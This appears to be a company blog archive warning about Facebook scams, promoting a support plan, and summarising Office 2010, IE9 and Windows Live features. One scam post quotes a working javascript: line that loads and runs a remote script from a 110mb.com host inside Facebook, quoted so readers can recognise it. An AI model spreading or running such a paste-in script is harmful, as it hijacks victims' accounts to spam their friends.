Facebook scams are so popular that one or the other time most of us have fallen for it by sharing a scam message on our wall or by suggesting that page to our friends.

Wall posts and messages are spreading on Facebook about a photographer who killed himself after shooting video and committing suicide three days after watching it.

If you delve deep into the history or the origin of this scam, there is a background to it with slight variations. A prize-winning South African photo-journalist Kevin Carter had taken a picture of a young girl in Sudan in 1993, even this picture was used in a scam earlier. It is true that Kevin Carter committed suicide, but was over a year later and not three days.

For those who have fallen into the traps of this scam and clicked the link, they are presented with the request to share the ‘video’, but it doesn’t say ‘Share’ instead it says ‘Jaa’ meaning Share in Finnish

The motive behind these bogus posts or apps is to drive traffic to some site that somebody gets paid per view or click.

If you have posted or publicized this message on Facebook to your friends and family, I suggest you take a look at the posts that you have liked and shared on your news feed. Also, check your profile for any unwanted subscription to apps or pages.

We are inviting you for a free preview of our upcoming service Computer Support Plan, this will be available to our Facebook fans and early adopters. This service is scheduled to be made available to public in a few months.  Read more...

Schedule an appointment with DigitalDyne to get your PC scanned for viruses or malware. sending an email address to support@digitaldyne.com will have a support engineer contact you and schedule an appointment with you  and get your PC in top shape.

Also mention the promotional code for the day :PROMO1. You may also share it with your friends and family. Send it to as many people you know of having problems with their computers.

Thanks,

Belinda

Marketing Manager

We are inviting you for a free preview of our upcoming service Computer Support Plan, this will be available to our Facebook fans and early adopters. This service is scheduled to be made available to public in a few months.

By taking part in this program, you can get premium support for your computer and call us for any sort of computer related issues or questions. To be a part of early adopters program, you may either become a fan at our Facebook page or leave us a message here.

DigitalDyne offers you one stop solution for all your computer related problems and questions. Here is a list of advantages you have with us.

In addition to these advantages, you could also benefit from support availability for a wide range of platforms. Watch this space for a comprehensive list of technologies we support and solutions we offer.

In a gist, all these benefits come to you for free for a week, starting 21 June 2011 to 25 June 2011 . You’ll be notified of a promotional code via Facebook or email, that you could use to avail the services.

We also encourage you to bring your friends and family to take advantage of this program.

Thanks,

Belinda

Marketing Manager

It isn't uncommon these days that we come across several apps or scripts in Facebook claiming to get certain things done which are not part of the general Facebook functionality. Sadly, the results of such scripts aren't very pleasing soon after running those scripts; some of us do not even realize what happens after running such scripts or allowing access to such apps to our information on Facebook.

The reason I’m writing this, if you have guessed is I’m embarrassed to admit to I fell prey for this this weekend.

A post like the one below from a trusted friend can be tempting.

Upon clicking on one such links, I was directed to a page asking me to copy paste the following script from 110mb.com.

javascript:(a = (b = document).createElement("script")).src = "//recentvisitors.110mb.com/fbnewtab/test.php", b.body.appendChild(a); void(0)

This one initiated a php script hosted by 110mb.com, that contains several scripts in JavaScript that ultimately got me to advertise their web services on my several of my friends’ walls.

I went chasing the reason for the existence of a blog to take me to some webpage and claiming it can add certain functionalities to Facebook. In this attempt I found that 110mb.com has an Alexa site ranking at around 1700 world wide. This indicates the revenue generated by the ads and how much they get paid in terms of the number of times ads are shown to visitors. This gets me thinking of how effective most online ads are.

When you post ads on your friends’ wall inadvertently, that is certainly not cool, so watch out for scripts and apps asking for permission to access your data. Unfortunately, there isn’t much Facebook can do to stop scripts from running on your profile, because many of those functionalities are wired into Facebook APIs and your browser.

And, if you fancy your ex-boyfriend or the hot chick at office spying on your Facebook profile, there is no way to find out.

Download Windows Live Essentials 2011 RTM

The most awaited live service of this year from Microsoft is finally here. The new Live Essentials from Microsoft intends to connect Windows 7 / Vista with its live services.

The Live Essentials suite Beta includes

· Messenger

· Photo Gallery

· Movie Maker

· Mail

Also included in Windows Live Essentials

· Writer

· Family Safety

· Windows Live Mesh

· Messenger Companion

· Bing Bar

· Outlook Connector Pack

· Microsoft Silverlight

Windows Live Essentials beta requires Windows 7 or Windows Vista. It is downloadable from here

Direct link: http://explore.live.com/windows-live-essentials

Download the offline installer here

Today, Microsoft unveiled its latest iteration of the most popular browser “Internet Explorer 9 Beta” though it is tagged as “Beta” it is well polished for day to day usage. The full review of the browser will be coming soon.

Here's what's new:

Streamlined design

Pinned Sites

Download Manager

Enhanced tabs

New Tab page

Search in the address bar

Notification Bar

Add-on Performance Advisor

Hardware acceleration

Internet Explorer 9 Beta requires Windows 7 or Windows Vista. It is downloadable from here

Direct link: http://windows.microsoft.com/en-GB/internet-explorer/download/ie-9/worldwide

Over last week I’ve blogged about a few applications make up the new Microsoft Office 2010. About 60 features were discussed. Many have suggested to archive the blogs on the apps, so we get to the Office 2010 blog archive.

Microsoft Office Outlook 2010. What’s new?

It’s time to throw your Sticky Notes away. Microsoft Office OneNote 2010 is here.

Microsoft Office Excel 2010 – More power to the Excel power user in you.

Microsoft Office Word 2010 - Collaborate like never before.

Microsoft Office PowerPoint 2010 - Why just present, when you can broadcast.

Microsoft Office Access 2010–Building macros is now everybody’s business.

Please feel free to share your comments, thoughts, or ideas.

Access 2010 comes with a new macro builder, this is one feature gets all the features take a back seat in terms of my attention. In addition to the new macro builder you might be interested in the new data types from SQL server 2008 and getting then on to your Access projects and it’s integration with Access services and SharePoint 2010.

Share a database using Access Services

With Access 2010, you have access to Access Services in Microsoft SharePoint Server 2010, you can create a Web database by using Access 2010. Users can access a database in a Web browser window, but the author must use Access 2010 to make design changes. Although some desktop database features do not translate to the Web, you can do many of the same things by using new features, such as calculated fields and data macros. In Office Access 2007, there was limited support in sharing a database to the Web, where you could only publish your lists and move the database to document libraries.

Connect to a Web service.

With a web definition file provided by a Web service administrator, you can connect to a Web service as an external data source. After the definition file is installed you can link to the Web service as a linked table.

Export to .pdf and .xps

In Access 2010, you can export data to a .pdf file format or an .xps file format (XML Paper Specification) to print, post, and distribute e-mail. This makes it possible for users to view your datasheet without having to install Access on their computers and is easily distributable. In Office Access 2007 this capability was also available through a downloadable add-in. Beginning with Office Access 2007 SP2 and continued with Access 2010, this feature was built into the product.

Enhanced security

Strong integration with Microsoft SharePoint Foundation 2010 help you more effectively manage data and allow you to make your information tracking applications more secure than before. You can audit revision history, recover deleted information, and set data access permissions by storing your tracking application data in lists on SharePoint Foundation 2010.

Support for SQL Server 2008 data types

Access 2010 provides limited support in Access projects (.adp) for the following seven new data types introduced in Microsoft SQL Server 2008:

• date
• datetime2
• datetimeoffset
• time
• geography
• geometry
• hierarchyID

geography,geometry and hierarchyID are data types that are unsupported in table or view design mode in Access 2010. SQL Server 2008 design tools is an alternative for creating tables, views, stored procedures, and functions when you use any of these three data types. You can still use Access 2010 to design reports, forms, modules and macros that reference these data types.

A new macro builder

In Access 2010, Macro Builder is more flexible and easier to use, macro actions are easier to find, and IntelliSense helps you type expressions more accurately.

Watch this video as an introduction to the new Macro builder.

Calendar control (mscal.ocx)

The Microsoft Calendar control was controller by mscal.ocx in previous versions of Microsoft Office. This is not available in Microsoft Office 2010. An alternative is to use the new date picker control in Access 2010. Opening an application from an earlier version of Access where the control was used will generate an error message in Access 2010 and the control will not appear. This applicable to all applications designed in previous versions of Microsoft Office relying on mscal.ocx

Backward compatibility between Access 2010 and Access 2007

Access 2010 introduces features that are not supported in Office Access 2007. Office Access 2007 SP2 offers limited viewing and designing capabilities. Office Access 2007 SP1 will not open databases that contain these features.

PowerPoint 2010 comes with a variety of new features and has adopted several from PowerPoint 2007 and aligned those with the new core architectural changes in Office 2010. Broadcasting your presentation is the best feature PowerPoint 2010 is showcasing in this version. Wide range of file formats that you can embed in your presentation, packaging and security are few other features that would please you.

Presentations to live and virtual audiences

PowerPoint 2010 lets you run a slide show and lets you present a slide show over the Web or a network connection to virtual attendees or live attendees, or both.

Working with text and objects

PowerPoint 2010, helps you transform your images with a new set of Photo effects and improved editing tools.

• Video and audio editing
• Graphics, transitions, and animations
• Help and translation

Maximum sound file size

With PowerPoint 2010 there is no restriction on the file size on embedding files to your presentations. With PowerPoint 2007 , this limit used to be 50 MB and could only be .wav files. Also, PowerPoint 2010 has the capability to embed files of various formats, unlike PowerPoint 2007.

Storing or sharing files

PowerPoint 2010 supports exporting files to all previous file formats that were found in PowerPoint 2007 and OpenDocumentation Presentations. There is a quick-click sharing capability to send a presentation via e-mail as an attachment, as a link to the presentation on a Web server, or as a .pdf or .xps copy in the Office Backstage view. You can also share the presentation via an instant message, in the Presentation Window, via Internet Fax, by publishing to Microsoft SharePoint 2010 Products or any specific location, or packaging it for a CD.

Presentation security

Security setting introduces in PowerPoint 2007 has been retained in PowerPoint 2010 in addition to new security mechanisms. Permissions are set in PowerPoint 2010 using the Backstage view. Following are the security features in PowerPoint 2010

• Prevent unintended changes to a final version of a document by using the Mark as Final command.
• Provide assurance as to the authenticity, integrity, and origin of the presentation by adding a digital signature.
• Assign permissions that prevent other users from copying, printing, or editing the presentation by selecting the access level specific to their requirements.
• Manage document properties through the Backstage view.

Macro recorder

The macro recorder is not available in PowerPoint 2010. Instead, you can use Microsoft Visual Basic for Applications (VBA) to create or configure macros. A macro created in an earlier version of PowerPoint using the macro reader can be configured using VBA.

PowerPoint Viewer

A new version of PowerPoint viewer is is available online. This is for users who require viewing a PPT/PPTX presentation offline. The Viewer lets you view presentations created in Microsoft PowerPoint 2000, PowerPoint 2002, PowerPoint 2003, PowerPoint 2007, and PowerPoint 2010. The Viewer also supports opening password-protected PowerPoint presentations. Unlike previous viewers, users will have the option to use Reading mode or Full Screen Slide Show mode.

Personalized video experience

PowerPoint 2010 lets you embed and edit video files directly to your slides. Also, trim your video to show relevant sections. Bookmarks embedded in videos allows quick access or trigger animation to begin when those bookmarks are reached. There are several built-in video styles available such as reflections, bevels, 3D rotations etc. Now, capture your audiences’ attention with your presentations crafted in PowerPoint 2010.

Word 2010 comes with a wide range of new features and has improved many of the features from the previous version. Many of the changes are associated with the core architecture. Fluent UI, The ribbon and the Backstage view are few changes that you will see across all of the new Microsoft Office 2010 suite.

File format

New features such as co-authoring, new graphic and text effects, and new numbering formats are the advantages Word 2010 brings with it, all with the new file format. Word 2007 files are also compatible with Word 2010. The RTF file format is no longer able to retain the new features that Word 2010 can support.Features and functionality that are new to Word 2010 and future versions of Word are lost when they are saved in RTF. In addition, Word 2010 supports a new converter interface based on Open XML Formats

Protected View

Protected view safeguards your computer from malicious code running on your computer when you open files from a potentially unsafe location (such as the Internet or an e-mail attachment) or files that contain active content (such as macros, data connections, or ActiveX controls).Editing functions are inactive in this mode.

Backstage view gives you more information about the file.

Collaboration and sharing features

If your IT environment has a SharePoint 2010 (or a cobalt-enabled server), Word 2010 can support concurrent editing of documents by multiple users. A group of users can work on a document at the same time, or a single user can work on the same document from different computers at the same time, all without locking the file.

Graphic enhancements

Word 2010 comes with improved editing tools with a new set of Picture Tools that enable you to transform your documents into artistically engaging documents.

• Picture Correction Options
• Artistic Effect Options
• Background Removal
• Picture Layout Options

Navigation pane

The new navigation pane brings improved ways to navigate content by heading, page or object. The document map is replace by navigation pane. All the headings of a document, their relative positions, and the current location are visible on the navigation pane. User’s can move between various heading by clicking parts of the pane. Like in previous versions outlines can be collapsed to hide nested headings, for long and complex documents.

Cut, copy, and paste options

Word 2010 can copy and paste content in many formats. Word 2010 has many options available at paste time through the Preview before you paste. Paste options include the following:

• Keep Source Formatting
• Merge Formatting
• Use Destination Theme
• Keep Text Only

Set regions to edit while co-authoring

With Word 2010 you get to select the regions that you will be editing so that nobody overwrites those regions in a co-authoring session. Other users will be notified about the regions that others are working on to avoid a conflict.

Print preview

The Print preview and the Print dialog box have been combined into the Print Place through the Backstage view. This feature is consistent across all Office applications. It can be invoked through the object model for third-party developers to create add-ins for Word 2010.The Print Preview Edit Mode was fully deprecated.